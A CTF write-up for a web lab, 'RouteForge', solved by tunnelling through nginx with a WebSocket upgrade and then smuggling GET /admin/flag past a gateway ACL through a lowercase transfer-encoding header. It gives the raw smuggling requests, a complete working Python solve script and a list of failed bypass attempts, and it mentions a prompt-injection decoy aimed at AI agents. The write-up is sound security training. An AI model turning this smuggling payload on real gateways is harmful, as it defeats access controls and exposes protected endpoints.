Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing
Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-21 | Status: Solved Techniques: case_sensitive_header_bypass, cl_te_smuggling, nginx_bypass_via_websocket, websocket_upgrade_tunnel
Summary
Task: Enterprise API gateway (nginx + custom proxy + Express) blocks /admin/* via path-based ACL; proxy has case-sensitive Transfer-Encoding header parsing. Solution: WebSocket upgrade to bypass nginx's strict CL+TE rejection, then CL.TE smuggling with lowercase transfer-encoding header — gateway reads Content-Length (ignores lowercase TE), Express reads chunked (case-insensitive TE), smuggled GET /admin/flag bypasses ACL.
Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing — HackAdvisor
Description
RouteForge is an enterprise API gateway platform built by ForgeStack Technologies. It provides centralized routing, rate limiting, and access control for backend microservices. The platform exposes a public API documentation portal, route management, and analytics dashboards. The gateway uses a custom reverse proxy layer to enforce path-based access control, blocking requests to administrative endpoints before they reach the backend application server. The goal is to investigate how the gateway processes incoming HTTP requests and find a way to bypass its security controls to access restricted resources. Pay close attention to how the proxy handles HTTP headers — particularly edge cases in the HTTP/1.1 specification around transfer encoding. The proxy and backend may not agree on how to parse certain headers.
English summary: A three-layer web stack (nginx → custom RouteForge gateway proxy → Express.js backend) blocks access to /admin/* endpoints via the gateway's path-based ACL. The goal is to smuggle a request to /admin/flag past the gateway by exploiting differences in how the proxy and backend parse HTTP headers — specifically the Transfer-Encoding header.
Analysis
Architecture (3 hops)
-
nginx/1.25.5 — TLS termination, reverse proxy, WebSocket support. Extremely strict HTTP parser: rejects CL+TE combinations, duplicate TE headers, TE obfuscation (obs-fold, spaces, tabs, non-
chunkedvalues), and malformed chunk framing. Validates ALL requests on a connection (including pipelined ones). -
RouteForge Gateway v2.4.1 (
X-Gateway: RouteForge/2.4.1) — Custom proxy that enforces path-based ACL. Blocks any request where the path starts with/admin(case-insensitive, percent-aware). ReturnsGW-403JSON response for blocked paths. -
Express.js backend (
X-Powered-By: Express) — Serves actual content. Uses Node.jshttpmodule (llhttp parser) which is case-insensitive for header names per HTTP/1.1 spec.
Key Vulnerability
The gateway proxy has a case-sensitive header name parser:
- It only recognizes
Transfer-Encoding(exact canonical case) as the transfer encoding header - Lowercase
transfer-encodingis treated as an unknown header → gateway falls back toContent-Length
Express.js (llhttp) is case-insensitive per RFC 7230:
- It recognizes
transfer-encoding,Transfer-Encoding,TRANSFER-ENCODING, etc. - When both CL and TE are present, llhttp follows RFC precedence: TE wins
The nginx Problem
nginx is too strict to allow CL+TE through directly:
- Any request with both
Content-LengthandTransfer-Encoding→ 400 Bad Request - Duplicate TE headers → 400 Bad Request
- Non-standard TE values → 501 Not Implemented
- TE header obfuscation (spaces, tabs, obs-fold) → 400 Bad Request
This means the CL.TE desync cannot be sent through nginx's normal HTTP pipeline.
The WebSocket Bypass
nginx supports WebSocket upgrades via proxy_pass with Upgrade and Connection headers. After a successful 101 Switching Protocols response, nginx creates a raw TCP tunnel — it stops parsing HTTP and forwards bytes bidirectionally. This allows sending arbitrary HTTP requests (including CL+TE combinations) directly to the gateway, bypassing nginx's strict validation.
Decoy Flag
The HTML source on multiple pages contains a prompt-injection trap with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated tools and AI agents. This must be ignored.
Solution
Step 1: Authenticate
Login with provided credentials (user@test.com / password123) to obtain a connect.sid session cookie. Authentication is required to access the WebSocket endpoint and the /admin/flag resource.
Step 2: WebSocket Upgrade (bypass nginx)
Send a WebSocket upgrade request to nginx. After receiving 101 Switching Protocols, the connection becomes a raw TCP tunnel. All subsequent bytes bypass nginx's HTTP parser and go directly to the RouteForge gateway.
GET / HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <base64-key>
Sec-WebSocket-Version: 13
Step 3: CL.TE Smuggling via Case-Sensitive TE Header
Through the WebSocket tunnel, send a crafted request with both Content-Length and lowercase transfer-encoding: chunked:
POST / HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
Content-Type: application/x-www-form-urlencoded
Content-Length: <total_body_length>
transfer-encoding: chunked
1\r\n
X\r\n
0\r\n
\r\n
GET /admin/flag HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
How the desync works:
| Component | Sees | Behavior |
|---|---|---|
| Gateway | Content-Length: N only (ignores lowercase transfer-encoding) | Reads N bytes as body → treats entire payload as one request to / (allowed path) |
| Express | transfer-encoding: chunked (case-insensitive, TE takes precedence over CL) | Reads chunked body → stops at 0\r\n\r\n → remaining bytes become a new request: GET /admin/flag |
| |
The smuggled GET /admin/flag reaches Express directly without passing through the gateway's ACL check, and Express returns the flag.
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ Solve script for Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing Attack: WebSocket upgrade + CL.TE smuggling via case-sensitive TE header parsing The gateway proxy only recognizes "Transfer-Encoding" (exact case). Express.js recognizes "transfer-encoding" (case-insensitive). WebSocket upgrade bypasses nginx's CL+TE rejection. """ import socket import ssl import base64 import sys import time TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "fbc853e8-4fe9-4cc9-8e5b-43a599e5b1f7.labs.hackadvisor.io" TARGET_PORT = 443 # Step 1: Login to get session cookie print("[*] Logging in...") ctx = ssl.create_default_context() sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) ssock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST) login_body = b"email=user%40test.com&password=password123" login_req = ( b"POST /login HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"Content-Type: application/x-www-form-urlencoded\r\n" b"Content-Length: " + str(len(login_body)).encode() + b"\r\n" b"Connection: close\r\n" b"\r\n" ) + login_body ssock.send(login_req) ssock.settimeout(5) resp = b"" try: while True: chunk = ssock.recv(8192) if not chunk: break resp += chunk except (socket.timeout, ssl.SSLError): pass ssock.close() # Extract cookie cookie = b"" for line in resp.split(b"\r\n"): if b"connect.sid=" in line: start = line.find(b"connect.sid=") end = line.find(b";", start) cookie = line[start:end] break print(f"[+] Cookie: {cookie[:50].decode()}...") # Step 2: WebSocket upgrade to bypass nginx's strict HTTP validation print("[*] Upgrading to WebSocket...") sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) ssock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST) ws_key = base64.b64encode(b"test1234test1234").decode() upgrade = ( b"GET / HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"Cookie: " + cookie + b"\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Key: " + ws_key.encode() + b"\r\n" b"Sec-WebSocket-Version: 13\r\n" b"\r\n" ) ssock.send(upgrade) ssock.settimeout(5) resp = b"" try: while b"\r\n\r\n" not in resp: chunk = ssock.recv(4096) if not chunk: break resp += chunk except (socket.timeout, ssl.SSLError): pass if b"101" not in resp: print("[-] WebSocket upgrade failed!") sys.exit(1) print("[+] WebSocket upgrade successful — raw TCP tunnel established") # Step 3: CL.TE smuggling via case-sensitive TE header print("[*] Sending CL.TE smuggling payload...") # Smuggled request — bypasses gateway ACL entirely smuggled = ( b"GET /admin/flag HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"Cookie: " + cookie + b"\r\n" b"\r\n" ) # Chunked body: Express reads this via TE, stops at 0\r\n\r\n chunked_body = b"1\r\nX\r\n0\r\n\r\n" # Total body = chunked_body + smuggled # Gateway reads ALL of this via Content-Length (one request) # Express reads only chunked_body via TE, then treats smuggled as new request total = chunked_body + smuggled cl = len(total) payload = ( b"POST / HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"Cookie: " + cookie + b"\r\n" b"Content-Type: application/x-www-form-urlencoded\r\n" b"Content-Length: " + str(cl).encode() + b"\r\n" b"transfer-encoding: chunked\r\n" # lowercase! Gateway ignores, Express honors b"\r\n" ) + total time.sleep(0.5) ssock.send(payload) ssock.settimeout(15) resp = b"" try: while True: chunk = ssock.recv(8192) if not chunk: break resp += chunk except (socket.timeout, ssl.SSLError): pass ssock.close() # Step 4: Extract flag print(f"[*] Response ({len(resp)} bytes)") if b"FLAG{" in resp: idx = resp.find(b"FLAG{") end = resp.find(b"}", idx) + 1 flag = resp[idx:end].decode() if "d3c0y" not in flag: print(f"[+] FLAG: {flag}") else: print("[-] Only found decoy flag") else: print("[-] No flag found in response") print(resp.decode(errors='replace')[:500])
Failed Approaches (Extensive Exploration)
- TE header obfuscation through nginx (~65 variants) — nginx rejects ALL: duplicate TE headers, CL+TE combos, obs-fold, spaces/tabs in header names, non-
chunkedTE values (501), comma-separated values. Completely airtight. - Chunk framing desync — nginx validates chunk sizes, strips chunk-extensions and trailers, normalizes bare-LF to CRLF. No chunk-level ambiguity survives nginx.
- Path normalization ACL bypass — Forms like
/%61dmin/flag,//admin/flag,/./admin/flagbypass gateway ACL but Express returns 404 (doesn't percent-decode literal path segments). Zero overlap between gateway-bypass and Express-match path forms. - Simple pipelining — Gateway re-inspects every pipelined request's path and blocks
/admin/*with 403. - Request-line tokenizer tricks — Gateway is lenient (accepts VT, FF, NBSP separators) but llhttp is strict (rejects them with 400). Opposite of what's needed.
- HTTP/2 smuggling — Not supported; nginx only negotiates HTTP/1.1.
- Nested request smuggling (2-level) — Gateway absorbs
/admin/flagas inner request's CL body (no ACL check), but Express also absorbs it (both agree on CL). Adding TE to inner request triggers nginx/llhttp CL+TE rejection. - URL-override headers —
X-Original-URL,X-Rewrite-URL,X-Forwarded-Pathnot honored by any layer.